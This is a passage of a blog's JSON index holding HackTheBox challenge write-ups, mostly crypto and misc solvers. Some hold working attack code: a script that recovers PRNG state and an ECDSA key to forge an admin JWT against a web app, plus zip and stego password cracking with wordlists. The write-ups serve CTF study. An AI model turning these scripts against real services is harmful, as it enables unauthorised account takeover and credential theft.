word + \u0026#34; - \u0026#34; + attempt) if attempt == pubkey: print(word) quit() except UnicodeDecodeError: print(word) continue except KeyboardInterrupt: quit() if __name__ == \u0026#34;__main__\u0026#34;: crack() git clone https://github.com/barbushin/php-console-extension go in chromium enable developer mode in chrome://extensions/\nclick on pack extension and select the dir of the repo php-console-extension\ndrag and drop the packed .crx extension\ngo in the webpage and send the password poohbear Your request headers reveal that PHP Console Debugging is enabled on the server, which exposes sensitive data in the php-console header. The key steps to extract useful information:\nOpen Developer Tools (F12) and navigate to the \u0026ldquo;Network\u0026rdquo; Tab.\nRefresh the page (F5) and check the response headers php-console to retrieve the flag without needing to type it.\nSummary Console: abuse php to cross the web trust boundary and recover the flag.\n","date":"2025-02-16T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Console-Challenge/","protected":null,"snippet":"Console: abuse php to cross the web trust boundary and recover the flag.","tags":["htb","web","php"],"title":"HackTheBox Console Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/434\nDescription A dark wizard placed a curse on you - if you open your mouth to say anything, it\u0026rsquo;ll strike! Only by perfectly reciting the counter-spell can you escape\u0026hellip;\nExploitation The values are found in the seccomp policy\ngem install seccomp-tools gem install racc echo | seccomp-tools dump ./breaker | grep -oP \u0026#39;(?\u0026lt;=if \\(A == )-?[0-9]+\u0026#39; | awk \u0026#39;{n=$1+0; if (n \u0026gt; 2147483647) n = n - 4294967296; print n}\u0026#39; | paste -sd \u0026#39;, \u0026#39; #!/usr/bin/env python3 def decode_flag(encoded_values): flag = \u0026#39;\u0026#39; last = 0 for i, value in enumerate(encoded_values): if i % 5 == 0: last = 0 flag += chr(last + value) last = value return flag encoded_values = [ 72, 12, 54, 69, 46, 101, -2, 101, -53, 162, 112, -67, 164, -64, 116, 98, 16, 36, -3, 128 ] flag = decode_flag(encoded_values) print(flag) Summary Curse Breaker: reverse the validation logic, model the transform, and recover the accepted input.\n","date":"2025-02-16T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Curse-Breaker-Challenge/","protected":null,"snippet":"Curse Breaker: reverse the validation logic, model the transform, and recover the accepted input.","tags":["htb","rev","linux"],"title":"HackTheBox Curse Breaker Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/347\nDescription Miyuki, wanting to find out more evidence about Draeger and his escape, planned a space trip to the maximum security black hole where Draeger was held captive. Problems though soon arose as the approach to the black hole caused distortions on your electronics. Memories of the traumatic experience you had when the Council guards brutally ripped you from your father’s hands painfully flooded your mind. The one thing you never forgot was the signal he sent you while you were still within range of the planet. Only two packets got through, but since they were encrypted you couldn’t figure out what they were. Now, being more determined than ever to find your father, having gained experience during the missions with the squad, you know that it’s time to decrypt the signal.\nExploitation #!/usr/bin/env python3 import math def main(): with open(\u0026#39;out.txt\u0026#39;) as f: n1, c1, c2, n2, c3, c4, L = map(int, f.read().splitlines()) C = math.gcd(n1 - 4, n2 - 4) // 3 K = 256 - math.floor(L / 2) P = int(hex(K)[2:] * K, 16) X = (c2 - P ** 2 - P * C) * pow(256 ** K, -1, n1) % n1 m1 = (X - 256 ** K * c1) * pow(2 * P + C - C * 256 ** K, -1, n1) % n1 K = 256 - math.ceil(L / 2) P = int(hex(K)[2:] * K, 16) Y = (c4 - P ** 2 - P * C) * pow(256 ** K, -1, n2) % n2 m2 = (Y - 256 ** K * c3) * pow(2 * P + C - C * 256 ** K, -1, n2) % n2 print(bytes.fromhex(hex(m1)[2:] + hex(m2)[2:]).decode()) if __name__ == \u0026#39;__main__\u0026#39;: main() The Down the Rabinhole Challenge on Hack The Box is a medium-level cryptography challenge that involves decrypting messages encrypted using a variant of the Rabin cryptosystem. Participants analyze ciphertexts and their associated modulus values, leverage greatest common divisor (GCD) calculations to extract a shared factor, and reconstruct the plaintext using mathematical transformations on modular equations. By recovering the original message from the encrypted packets, the challenge highlights the vulnerabilities in certain implementations of Rabin encryption, particularly when structural weaknesses in padding and modular arithmetic can be exploited.\nSummary Down the Rabinhole: exploit the RSA structure, recover the missing secret, and decrypt the flag.\n","date":"2025-02-16T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Down-the-Rabinhole-Challenge/","protected":null,"snippet":"Down the Rabinhole: exploit the RSA structure, recover the missing secret, and decrypt the flag.","tags":["htb","crypto","rsa"],"title":"HackTheBox Down the Rabinhole Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/788\nDescription E Corp\u0026rsquo;s web application allows users to create and manage their notes, seemingly innocuous but crucial for our investigation. Our team suspects that the application developers might have rolled their own crypto. Your mission is to uncover sensitive information hidden within the user data. As an elite member of the resistance, you\u0026rsquo;ll need to infiltrate the app and exploit the cryptographic flaws, with the goal of gaining administrator privileges. With every action monitored, can you bypass their security measures and reveal the hidden truths? The fate of the resistance hinges on your success.\nExploitation #!/usr/bin/env python3 from random import Random from Crypto.Util.number import bytes_to_long, long_to_bytes from concurrent.futures import ThreadPoolExecutor, as_completed from base64 import b64encode, b64decode from hashlib import sha256 from sage.all import * from tqdm import tqdm import requests import string import json import sys import re if len(sys.argv) != 2: print(f\u0026#34;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#34;) sys.exit(1) url = sys.argv[1] ALPHABET = string.printable URL = f\u0026#39;http://{url}\u0026#39; CONCURRENT_REQUESTS = 5 rng = Random() p = 0xa9fb57dba1eea9bc3e660a909d838d726e3bf623d52620282013481d1f6e5377 a = 0x7d5a0975fc2c3057eef67530417affe7fb8055c126dc5c6ce94a4b44f330b5d9 b = 0x26dc5c6ce94a4b44f330b5d9bbd77cbf958416295cf7e1ce6bccdc18ff8c07b6 E = EllipticCurve(GF(p), [a, b]) G = E(0x8bd2aeb9cb7e57cb2c4b482ffc81b7afb9de27e1e3bd23c23a4453bd9ace3262, 0x547ef835c3dac4fd97f8461a14611dc9c27745132ded8e545c1d54c72f046997) q = Integer(E.order()) Fq = GF(q) def create_note(sess): try: sess.post(f\u0026#39;{URL}/create-note\u0026#39;, data={\u0026#39;title\u0026#39;: \u0026#39;test\u0026#39;, \u0026#39;description\u0026#39;: \u0026#39;test\u0026#39;}, timeout=5) return True except: return False def recover_mersenne_state(sess): print(\u0026#34;[+] Recovering MT state... (this will take ~1-2 minutes)\u0026#34;) with ThreadPoolExecutor(max_workers=CONCURRENT_REQUESTS) as executor: futures = [executor.submit(create_note, sess) for _ in range(624)] for _ in tqdm(as_completed(futures), total=624, desc=\u0026#34;Creating notes\u0026#34;): pass notes = json.loads(sess.post(f\u0026#39;{URL}/view-notes\u0026#39;).content)[\u0026#39;notes\u0026#39;] state = list(dict.fromkeys([note[\u0026#39;id\u0026#39;] for note in notes]))[:624] if len(state) \u0026lt; 624: raise ValueError(f\u0026#34;Only got {len(state)} unique notes, need 624\u0026#34;) return state[:624] def sign(m, privkey): k = Integer(int(\u0026#39;\u0026#39;.join(rng.choices(ALPHABET, k=32)).encode().hex(), 16)) H = Integer(int(sha256(m).hexdigest(), 16)) R = k * G r = Integer(R[0]) s = (pow(k, -1, q) * (H + privkey * r)) % q return b64encode(long_to_bytes(int(r), 32) + long_to_bytes(int(s), 32)) def recover_private_key(sess): print(\u0026#34;[+] Recovering private key...\u0026#34;) token = sess.cookies[\u0026#39;token\u0026#39;] header, payload, sig = token.split(\u0026#39;.\u0026#39;) m = (header + \u0026#39;.\u0026#39; + payload).encode() k = Integer(int(\u0026#39;\u0026#39;.join(rng.choices(ALPHABET, k=32)).encode().hex(), 16)) sig = b64decode(sig.encode()) r = Integer(bytes_to_long(sig[:32])) s = Integer(bytes_to_long(sig[32:])) H = Integer(int(sha256(m).hexdigest(), 16)) return Integer((pow(r, -1, q) * (k * s - H)) % q) def create_token(user, x): header = b64encode(json.dumps({ \u0026#39;alg\u0026#39;: \u0026#39;EC256\u0026#39;, \u0026#39;typ\u0026#39;: \u0026#39;JWT\u0026#39; }).encode()) payload = b64encode(json.dumps({ \u0026#39;username\u0026#39;: user, \u0026#39;email\u0026#39;: \u0026#39;admin@hackthebox.eu\u0026#39;, \u0026#39;iat\u0026#39;: 1337 }).encode()) signature = sign(header + b\u0026#39;.\u0026#39; + payload, x) return f\u0026#34;{header.decode()}.{payload.decode()}.{signature.decode()}\u0026#34; def recover_public_keys(token): header, payload, sig = token.split(\u0026#39;.\u0026#39;) m = header + \u0026#39;.\u0026#39; + payload H = Integer(int(sha256(m.encode()).hexdigest(), 16)) sig = b64decode(sig.encode()) r = Integer(bytes_to_long(sig[:32])) s = Integer(bytes_to_long(sig[32:])) R = E.lift_x(r) rinv = pow(r, -1, q) Q1 = rinv * (s * R - H * G) Q2 = rinv * (s * (-R) - H * G) return Q1, Q2 def verify(Q, token): header, payload, sig = token.split(\u0026#39;.\u0026#39;) m = header + \u0026#39;.\u0026#39; + payload H = Integer(int(sha256(m.encode()).hexdigest(), 16)) sig = b64decode(sig.encode()) r = Integer(bytes_to_long(sig[:32])) s = Integer(bytes_to_long(sig[32:])) sinv = pow(s, -1, q) u1 = (H * sinv) % q u2 = (r * sinv) % q R = u1 * G + u2 * Q return Integer(R[0]) == r def get_flag(sess, admin_token, Q): del sess.cookies[\u0026#39;token\u0026#39;] sess.cookies.set(\u0026#39;token\u0026#39;, admin_token) sess.cookies.set(\u0026#39;pubkey\u0026#39;, f\u0026#39;{Q[0]},{Q[1]}\u0026#39;) r = sess.get(f\u0026#39;{URL}/dashboard\u0026#39;) flag = re.search(r\u0026#39;HTB{.*}\u0026#39;, r.content.decode()) return flag.group(0) if flag else \u0026#34;Flag not found\u0026#34; def main(): sess = requests.Session() sess.headers.update({\u0026#39;Connection\u0026#39;: \u0026#39;keep-alive\u0026#39;}) print(\u0026#34;[+] Starting exploit...\u0026#34;) username = \u0026#39;HTBuser1337\u0026#39; pwd = \u0026#39;s3cur3pa$$w0rd\u0026#39; print(\u0026#34;[+] Registering user...\u0026#34;) sess.post(f\u0026#39;{URL}/register\u0026#39;, data={ \u0026#39;username\u0026#39;: username, \u0026#39;password\u0026#39;: pwd, \u0026#39;email\u0026#39;: \u0026#39;test@test.com\u0026#39; }) print(\u0026#34;[+] Logging in...\u0026#34;) sess.post(f\u0026#39;{URL}/login\u0026#39;, data={ \u0026#39;username\u0026#39;: username, \u0026#39;password\u0026#39;: pwd }) state = recover_mersenne_state(sess) rng.setstate((3, tuple(state + [624]), None)) x = recover_private_key(sess) print(\u0026#34;[+] Creating admin token...\u0026#34;) admin_token = create_token(\u0026#39;HTBAdmin1337_ZUSD3uQG4I\u0026#39;, x) Q1, Q2 = recover_public_keys(admin_token) print(\u0026#34;[+] Verifying token...\u0026#34;) assert verify(Q1, admin_token), \u0026#34;Token verification failed\u0026#34; print(\u0026#34;[+] Getting flag...\u0026#34;) flag = get_flag(sess, admin_token, Q1) print(\u0026#34;[+] Flag:\u0026#34;, flag) if __name__ == \u0026#39;__main__\u0026#39;: main() Summary secure source: reconstruct the PRNG state from the leak, replay it, and recover the flag.\n","date":"2025-02-16T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-secure-source-Challenge/","protected":null,"snippet":"secure source: reconstruct the PRNG state from the leak, replay it, and recover the flag.","tags":["htb","crypto","prng","lattice","ecc","hash"],"title":"HackTheBox secure source Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/236\nDescription The aliens attacked our territory and stole our necessary supplies and kept them in a secure manner. We can get them back, but it requires a lot of data samples. Fortunately, we have some stuff to get back what we need. But, are we lucky enough?!\nExploitation #!/usr/bin/env python3 from hashlib import sha512 from Crypto.Util.number import long_to_bytes, bytes_to_long def parse_signatures(data): signatures = {} current_msg = None for line in data.split(\u0026#39;\\n\u0026#39;): if \u0026#39;message :\u0026#39; in line: current_msg = line.split(\u0026#39;:\u0026#39;)[1].strip() elif \u0026#39;signature:\u0026#39; in line and current_msg: sig = eval(line.split(\u0026#39;:\u0026#39;)[1].strip()) signatures[current_msg] = sig return signatures def find_duplicate_r(signatures): r_values = {} for msg, (r, s) in signatures.items(): if r in r_values: return (r_values[r], msg) r_values[r] = msg return None def get_message_hash(message): return int(sha512(message.encode(\u0026#39;utf-8\u0026#39;)).hexdigest(), 16) def extended_gcd(a, b): if a == 0: return b, 0, 1 gcd, x1, y1 = extended_gcd(b % a, a) x = y1 - (b // a) * x1 y = x1 return gcd, x, y def mod_inverse(a, m): _, x, _ = extended_gcd(a, m) return (x % m + m) % m def recover_private_key(msg1, sig1, msg2, sig2, q): r = sig1[0] s1 = sig1[1] s2 = sig2[1] h1 = get_message_hash(msg1) h2 = get_message_hash(msg2) numerator = (h1 - h2) % q denominator = (s1 - s2) % q k = (numerator * mod_inverse(denominator, q)) % q x = ((s1 * k - h1) * mod_inverse(r, q)) % q return x def repeating_xor_key(message, key): repeation = 1 + (len(message) // len(key)) key = key * repeation key = key[:len(message)] return bytes([c ^ k for c, k in zip(message, key)]) def main(): q = 82349764091980216703243528787846721157571379253101971061732427939554681522787 encrypted_flag = \u0026#34;caaa08c4332e5701a9105ab701cc830b9ddbe18f6612c999f82a344bdc597819fba00f81772e4001bc584cff06d287089d8085a3123bdca5e7706612d7641f66a2b6228a67336c60975719ef04e1b55edad4e6850126ee92bc25692bd15e274db3b214973f224001af5f46bb40d2930cd69bae\u0026#34; sample_data = \u0026#34;\u0026#34;\u0026#34;******************************************************************************** message : EISZZOL199OKHQB4JMJB7A3Z1W9S0P0ENI98V7RFS8K9RPYQ1V signature: (14238399380669249177320087107027881078478542661146360644630244485798709030798, 33299491256343856509045723633358260063303030066061530037315886172050511280880) ******************************************************************************** message : 2XKSQ0LYL0ASEKH5ROEB02AKNEKGRWEQCMBE6UUCJO1GK0MXP5 signature: (14238399380669249177320087107027881078478542661146360644630244485798709030798, 31010083525559078114799933393024424305929989859345011192619627339807386206438)\u0026#34;\u0026#34;\u0026#34; signatures = parse_signatures(sample_data) dup_result = find_duplicate_r(signatures) if not dup_result: print(\u0026#34;No duplicate r values found!\u0026#34;) return msg1, msg2 = dup_result sig1 = signatures[msg1] sig2 = signatures[msg2] print(f\u0026#34;Found messages with same r value:\u0026#34;) print(f\u0026#34;Message 1: {msg1}\u0026#34;) print(f\u0026#34;Message 2: {msg2}\u0026#34;) private_key = recover_private_key(msg1, sig1, msg2, sig2, q) print(f\u0026#34;Recovered private key: {private_key}\u0026#34;) key_bytes = long_to_bytes(private_key) flag_bytes = bytes.fromhex(encrypted_flag) decrypted = repeating_xor_key(flag_bytes, key_bytes) print(f\u0026#34;Decrypted flag: {decrypted.decode()}\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: main() Summary signup: reduce the hash constraint to a small search, test candidates, and recover the flag.\n","date":"2025-02-16T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-signup-Challenge/","protected":null,"snippet":"signup: reduce the hash constraint to a small search, test candidates, and recover the flag.","tags":["htb","crypto","hash"],"title":"HackTheBox signup Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/418\nDescription It was a Sunday evening when, after years, you managed to understand how RSA works. Unfortunately, that changed when the worst villain ever decided to dress up like RSA and scare people who wanted to learn more about cryptography. But his custom uniform has a hole in it. Can you find it?\nExploitation #!/usr/bin/env python3 from math import gcd from Crypto.Util.number import long_to_bytes N = 23252667157599516940129524769090828719982590926217686828297820221246528288024986185770032891432071416316776607472816043745785945382619303771286924656092974519197669053189283351571920071432553222222811904112119520974410020093306071010335958643236508606549664330684556056421228904824554943559829654154540793885983689462338911148618911233437943092856313175212883771802928968521215461427230178865304889974060408714941809216551397552099050566216607216463931428967751885004128977314044993037370392135272264982092147566078177173327860726953745529225163314733863792635537495622731398807790511518482833382759873192115192207209 e1 = 13130317383799359924397818711045172877651070470639872331555061566871077024416132122821689879197166729443692993224787531055068053553245916779683406195947939469930710138275745308571705318328750438377477058341710049450433868075025011970534711610887418427142999431981800104300319735079412330836192720430158369804693687507459455621592955618266507196962663247417904680299143606004651444970274693793668715761929296821908860947834841947073379537992600397854852337772316114987249254395674689638512533430273885970458183044843553777077752747556298072797820716079692849044148071698585069757021266842594074685187380985522959676924 c1 = 3276033314700994933236715546269096681595964054694634317877930652961630783669009686295177734678226788913957176667505963284895192875563765999040362544244408645923937742131293085082421535485813399270056524297324864682622089578866968706269063489779845211872503005591066652086230371845356855417702566514946373846876609725394545339840695130518357770158558391396835218039249572390662833461220605497534710914935522013573314984887838699014465554643808438475560847600079478934259045848291858470555503523718530137358192672530066755416937024529536303824075068992110042077005432280129307864841939511235555989308133055235385105960 e2 = 20883594128285008437725229014478679601366127938823960100219581029154081635436411892478004501333834114219976189312792835720670788637746570550119467812230092062199251164946197959206350494458367692847308442685450722126282132876286895613925612558140177853699821618151096670620765409968557233259334756429446973833981043722454375455334033442236036896820634662734963958738789068654435207820624411915045062084652483285735900502029367176441696762291709434815865847363600312665970290960775666366786471564595838531305478536744797611070398211876965476639913075928103807981832916853895307250848232566714169131101439494532639396872 c2 = 18023359039022070922496207692467909272905633400500071646677663883848372907925575359795644502829612958089930556811098737564701111791300315722656180784065385762079524349557515732188405944474314448560602595952205309214787356604461723684793632495397765839132359663293143446639091410994479947265462557919856471699351934094395015205994443217852376256039110600437586852484006845325143039405449700872936218023776566918818003785468900212143526790175840288515458337112681822830546618062507825380629100313042086810588864941567987823223444256356108148388871548275890051441470007397336976314029406010035567308845594636823378393001 diff = (c2 - c1) % N p = gcd(diff, N) q = N // p assert p * q == N m = (c1 - pow(p, e1, N)) % N flag = long_to_bytes(m) print(flag.decode()) Summary Spooky RSA: exploit the RSA structure, recover the missing secret, and decrypt the flag.\n","date":"2025-02-16T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Spooky-RSA-Challenge/","protected":null,"snippet":"Spooky RSA: exploit the RSA structure, recover the missing secret, and decrypt the flag.","tags":["htb","crypto","rsa"],"title":"HackTheBox Spooky RSA Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/133\nDescription Decrypt the code and find the Queen\u0026rsquo;s secret!\nExploitation https://www.dcode.fr/mary-stuart-code#q2\nTHEBABINGTONPLOT Summary The secret of a Queen: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.\n","date":"2025-02-16T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-The-secret-of-a-Queen-Challenge/","protected":null,"snippet":"The secret of a Queen: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.","tags":["htb","misc"],"title":"HackTheBox The secret of a Queen Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/401\nDescription In a parallel universe, all recursive algorithms are strictly forbidden by the \u0026quot;coding laws\u0026quot;. For this reason, students must solve a different recursion-based problem each year at the beginning of their CS studies. This year, it is a difficult encryption method that requires a high level of math skills. Can you solve it?\nExploitation #!/usr/bin/env python3 from pwn import * import sys def legendre(x: int, p: int) -\u0026gt; int: return pow(x, (p - 1) // 2, p) def tonelli(n: int, p: int) -\u0026gt; int: assert legendre(n, p) == 1, \u0026#39;not a square (mod p)\u0026#39; q = p - 1 s = 0 while q % 2 == 0: q //= 2 s += 1 if s == 1: return pow(n, (p + 1) // 4, p) for z in range(2, p): if p - 1 == legendre(z, p): break c = pow(z, q, p) r = pow(n, (q + 1) // 2, p) t = pow(n, q, p) m = s t2 = 0 while (t - 1) % p != 0: t2 = (t * t) % p for i in range(1, m): if (t2 - 1) % p == 0: break t2 = (t2 * t2) % p b = pow(c, 1 \u0026lt;\u0026lt; (m - i - 1), p) r = (r * b) % p c = (b * b) % p t = (t * c) % p m = i return r def fast_turbonacci(n: int, p: int, b: int, c: int) -\u0026gt; int: sqrt_delta = tonelli((pow(b, 2, p) + 4 * c), p) r1 = (b + sqrt_delta) * pow(2, -1, p) % p r2 = (b - sqrt_delta) * pow(2, -1, p) % p return (pow(r1, n, p) - pow(r2, n, p)) * pow(r1 - r2, -1, p) % p def main(): if len(sys.argv) != 2: print(f\u0026#34;Usage: {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#34;) sys.exit(1) host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) port = int(port) try: io = remote(host, port) log.info(\u0026#34;Connected to server. Reading parameters...\u0026#34;) io.recvuntil(b\u0026#39;p = \u0026#39;) p = int(io.recvline().decode().strip()) log.info(f\u0026#34;p = {p}\u0026#34;) io.recvuntil(b\u0026#39;b = \u0026#39;) b = int(io.recvline().decode().strip()) log.info(f\u0026#34;b = {b}\u0026#34;) io.recvuntil(b\u0026#39;c = \u0026#39;) c = int(io.recvline().decode().strip()) log.info(f\u0026#34;c = {c}\u0026#34;) io.recvuntil(b\u0026#39;nonce = \u0026#39;) nonce = int(io.recvuntil(b\u0026#39; \u0026#39;).decode().strip()) log.info(f\u0026#34;nonce = {nonce}\u0026#34;) log.info(\u0026#34;Calculating OTP...\u0026#34;) otp = fast_turbonacci(nonce, p, b, c) log.info(f\u0026#34;OTP = {otp}\u0026#34;) io.sendlineafter(b\u0026#39;OTP: \u0026#39;, str(otp).encode()) io.sendlineafter(b\u0026#39;\u0026gt; \u0026#39;, b\u0026#39;1\u0026#39;) io.recvuntil(b\u0026#39;ct = \u0026#39;) flag_enc = int(io.recvline().strip()) log.info(f\u0026#34;Encrypted flag = {flag_enc}\u0026#34;) pt1 = b\u0026#39;a\u0026#39; io.sendlineafter(b\u0026#39;\u0026gt; \u0026#39;, b\u0026#39;2\u0026#39;) io.sendlineafter(b\u0026#39;pt = \u0026#39;, pt1) io.recvuntil(b\u0026#39;ct = \u0026#39;) ct1 = int(io.recvline().strip()) log.info(f\u0026#34;First ciphertext = {ct1}\u0026#34;) pt2 = b\u0026#39;b\u0026#39; io.sendlineafter(b\u0026#39;\u0026gt; \u0026#39;, b\u0026#39;2\u0026#39;) io.sendlineafter(b\u0026#39;pt = \u0026#39;, pt2) io.recvuntil(b\u0026#39;ct = \u0026#39;) ct2 = int(io.recvline().strip()) log.info(f\u0026#34;Second ciphertext = {ct2}\u0026#34;) io.sendlineafter(b\u0026#39;\u0026gt; \u0026#39;, b\u0026#39;3\u0026#39;) io.close() log.info(\u0026#34;Calculating flag...\u0026#34;) m = ct2 - ct1 k = (ord(pt1) - ct1 * pow(m, -1, p)) % p flag = (k + flag_enc * pow(m, -1, p)) % p log.success(f\u0026#34;Flag: {bytes.fromhex(hex(flag)[2:]).decode()}\u0026#34;) except Exception as e: log.error(f\u0026#34;Error: {str(e)}\u0026#34;) if \u0026#39;io\u0026#39; in locals(): io.close() if __name__ == \u0026#39;__main__\u0026#39;: main() Summary TurboCipher: model the crypto leak, recover the missing secret, and decrypt the flag.\n","date":"2025-02-16T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-TurboCipher-Challenge/","protected":null,"snippet":"TurboCipher: model the crypto leak, recover the missing secret, and decrypt the flag.","tags":["htb","crypto"],"title":"HackTheBox TurboCipher Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/14\nDescription We have intercepted an email sent by a terrorist cell. It contains only an image. Can you compare the modified image to its original and see if it has any meaning?\nExploitation just xor the images\n#!/usr/bin/env python3 import numpy as np from PIL import Image def main(): intercepted = np.array(Image.open(\u0026#39;intercepted.png\u0026#39;)) original = np.array(Image.open(\u0026#39;original.png\u0026#39;)) result = np.subtract(intercepted, original) Image.fromarray(result).save(\u0026#39;result.png\u0026#39;) if __name__ == \u0026#39;__main__\u0026#39;: main() and after use zsteg\nzsteg -a result.png | grep \u0026#34;b1,b,lsb,yx\u0026#34; | cut -d \u0026#34;:\u0026#34; -f2 | tr -d \u0026#39; \u0026#34;\u0026#39; | head -n1 | base64 -d Summary BitsNBytes: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.\n","date":"2025-02-14T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-BitsNBytes-Challenge/","protected":null,"snippet":"BitsNBytes: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.","tags":["htb","misc"],"title":"HackTheBox BitsNBytes Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/711\nDescription You have finally reached the vault, however upon reaching it you lay your eyes on a super mutant camp outisde of the vault\u0026rsquo;s entrance. Seeing that you are vastly outnumbered, you decide to not engage in combat and risk losing them. Instead, you decide to use the tnt you brought along, and place them strategically in the underground tunnel network to blow up the mutant camp so all of them are eliminated. However your group is tired, and may not deliver them at the desired location, so you also need to account as to where the explosives will end up. Like the branches of a tree, can you find study the underground tunnel and find where to put your bombs to defeat the mutants and enter the vault of hope?\nExploitation #!/usr/bin/env python3 from collections import deque from pwn import remote from tqdm import tqdm def bfs(start, destination, edges): queue = deque([{\u0026#34;node\u0026#34;: start, \u0026#34;path\u0026#34;: [start]}]) visited = set() while queue: current = queue.popleft() current_node = current[\u0026#34;node\u0026#34;] if current_node in visited: continue visited.add(current_node) if current_node == destination: return current[\u0026#34;path\u0026#34;] for neighbor in edges.get(current_node, []): if neighbor not in visited: new_path = current[\u0026#34;path\u0026#34;] + [neighbor] queue.append({\u0026#34;node\u0026#34;: neighbor, \u0026#34;path\u0026#34;: new_path}) return [] def solve(start, destination, steps, edges): path = bfs(start, destination, edges) return destination if steps \u0026gt;= len(path) else path[steps] def main(): try: import sys if len(sys.argv) != 2 or \u0026#39;:\u0026#39; not in sys.argv[1]: exit(f\u0026#39;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#39;) host, port = sys.argv[1].split(\u0026#34;:\u0026#34;) io = remote(host, int(port)) for _ in tqdm(range(100), desc=\u0026#34;Processing Rounds\u0026#34;, unit=\u0026#34;round\u0026#34;): io.recvuntil(b\u0026#34;Test\u0026#34;) io.recvline() n = int(io.recvline().strip()) edges = {} for _ in range(n - 1): e1, e2 = map(int, io.recvline().strip().split()) edges.setdefault(e1, []).append(e2) edges.setdefault(e2, []).append(e1) m = int(io.recvline().strip()) for _ in range(m): start, dest, steps = map(int, io.recvline().strip().split()) result = solve(start, dest, steps, edges) io.sendline(str(result).encode()) flag = io.recvuntil(b\u0026#34;HTB{\u0026#34;).decode() + io.recvline().decode().strip() print(flag) except Exception as e: print(f\u0026#34;Error occurred: {e}\u0026#34;) finally: io.close() if __name__ == \u0026#34;__main__\u0026#34;: main() Summary Branching Tactics: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.\n","date":"2025-02-14T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Branching-Tactics-Challenge/","protected":null,"snippet":"Branching Tactics: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.","tags":["htb","misc"],"title":"HackTheBox Branching Tactics Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/20\nDescription We believe that there is an SSH Password inside password protected \u0026lsquo;ZIP\u0026rsquo; folder. Can you crack the \u0026lsquo;ZIP\u0026rsquo; folder and get the SSH password?\nExploitation zip2john fsociety.zip \u0026gt; fsociety.hash john --wordlist=/usr/share/dict/rockyou.txt fsociety.hash john --show fsociety.hash unzip fsociety.zip zip password justdoit\necho \u0026#39;MDExMDEwMDEgMDExMDAxMTAgMDEwMTExMTEgMDExMTEwMDEgMDAxMTAwMDAgMDExMTAxMDEgMDEwMTExMTEgMDExMDAwMTEgMDEwMDAwMDAgMDExMDExMTAgMDEwMTExMTEgMDAxMDAxMDAgMDExMDExMDEgMDAxMTAwMTEgMDExMDExMDAgMDExMDExMDAgMDEwMTExMTEgMDExMTAxMTEgMDExMDEwMDAgMDEwMDAwMDAgMDExMTAxMDAgMDEwMTExMTEgMDExMTAxMDAgMDExMDEwMDAgMDAxMTAwMTEgMDEwMTExMTEgMDExMTAwMTAgMDAxMTAwMDAgMDExMDAwMTEgMDExMDEwMTEgMDEwMTExMTEgMDExMDEwMDEgMDExMTAwMTEgMDEwMTExMTEgMDExMDAwMTEgMDAxMTAwMDAgMDAxMTAwMDAgMDExMDEwMTEgMDExMDEwMDEgMDExMDExMTAgMDExMDAxMTE=\u0026#39; | base64 -d binary_data = \u0026#34;01101001 01100110 01011111 01111001 00110000 01110101 01011111 01100011 01000000 01101110 01011111 00100100 01101101 00110011 01101100 01101100 01011111 01110111 01101000 01000000 01110100 01011111 01110100 01101000 00110011 01011111 01110010 00110000 01100011 01101011 01011111 01101001 01110011 01011111 01100011 00110000 00110000 01101011 01101001 01101110 01100111\u0026#34; binary_values = binary_data.split() ascii_output = \u0026#39;\u0026#39;.join([chr(int(b, 2)) for b in binary_values]) print(\u0026#39;HTB{\u0026#39;+ascii_output+\u0026#39;}\u0026#39;) Summary fs0ciety: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.\n","date":"2025-02-14T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-fs0ciety-Challenge/","protected":null,"snippet":"fs0ciety: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.","tags":["htb","misc"],"title":"HackTheBox fs0ciety Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/17\nDescription There should be something hidden inside this photo\u0026hellip; Can you find out?\nExploitation stegseek --crack -sf hackerman.jpg /use/share/dict/rockyou.txt cat hackerman.txt | base64 -d Summary Hackerman: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.\n","date":"2025-02-14T00:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Hackerman-Challenge/","protected":null,"snippet":"Hackerman: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.","tags":["htb","misc"],"title":"HackTheBox Hackerman Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/718\nDescription Legends speak of the infamous Kamara-Heto, a black-hat hacker of old who rose to fame as they brought entire countries to their knees. Opinions are divided over whether the fabled figure truly existed, but the success of the team surely lies in the hope that they did, for the 